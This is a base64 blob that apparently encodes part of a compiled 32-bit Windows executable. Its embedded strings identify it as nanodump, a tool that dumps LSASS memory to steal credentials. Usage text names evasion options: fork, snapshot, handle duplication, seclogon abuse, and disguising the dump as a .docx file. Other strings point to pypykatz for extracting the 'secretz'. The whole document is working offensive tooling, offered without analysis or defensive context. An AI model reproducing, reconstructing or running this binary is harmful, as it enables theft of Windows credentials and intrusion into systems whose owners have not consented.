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HVlAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAABUaGUgYmluYXJ5ICIlcyIgZG9lcyBub3QgZXhpc3RzLgAtaAAtLWhlbHAAaW52YWxpZCBhcmd1bWVudDogJXMASWYgTWFsU2VjTG9nb24gaXMgYmVpbmcgdXNlZCBsb2NhbGx5LCB5b3UgbmVlZCB0byBwcm92aWRlIHRoZSBmdWxsIHBhdGg6ICVzAFRoZSBvcHRpb25zIC0tZm9yayBhbmQgLS1zbmFwc2hvdCBjYW5ub3QgYmUgdXNlZCBhdCB0aGUgc2FtZSB0aW1lAExTQVNTIFBJRDogJWxkAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAASWYgLS1kdXAgYW5kIC0tbWFsc2VjbG9nb24gYXJlIHVzZWQsIHlvdSBuZWVkIHRvIHByb3ZpZGUgYSBiaW5hcnkgd2l0aCAtLWJpbmFyeQBUaGUgb3B0aW9uIC0tYmluYXJ5IGNhbiBvbmx5IGJlIHVzZWQgd2l0aCAtLW1hbHNlY2xvZ29uIGFuZCAtLWR1cAAAAEB/QAAAoEEABKBBAABoQQAckEEAAAAAAAAAAABVbmtub3duIGVycm9yAAAAX21hdGhlcnIoKTogJXMgaW4gJXMoJWcsICVnKSAgKHJldHZhbD0lZykKAABBcmd1bWVudCBkb21haW4gZXJyb3IgKERPTUFJTikAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFRoZSByZXN1bHQgaXMgdG9vIHNtYWxsIHRvIGJlIHJlcHJlc2VudGVkIChVTkRFUkZMT1cpAAAAVG90YWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFRMT1NTKQAAUGFydGlhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoUExPU1MpAAAAACgNQQBHDUEAZA1BAIQNQQC8DUEA4A1BAE1pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgBBZGRyZXNzICVwIGhhcyBubyBpbWFnZS1zZWN0aW9uACAgVmlydHVhbFF1ZXJ5IGZhaWxlZCBmb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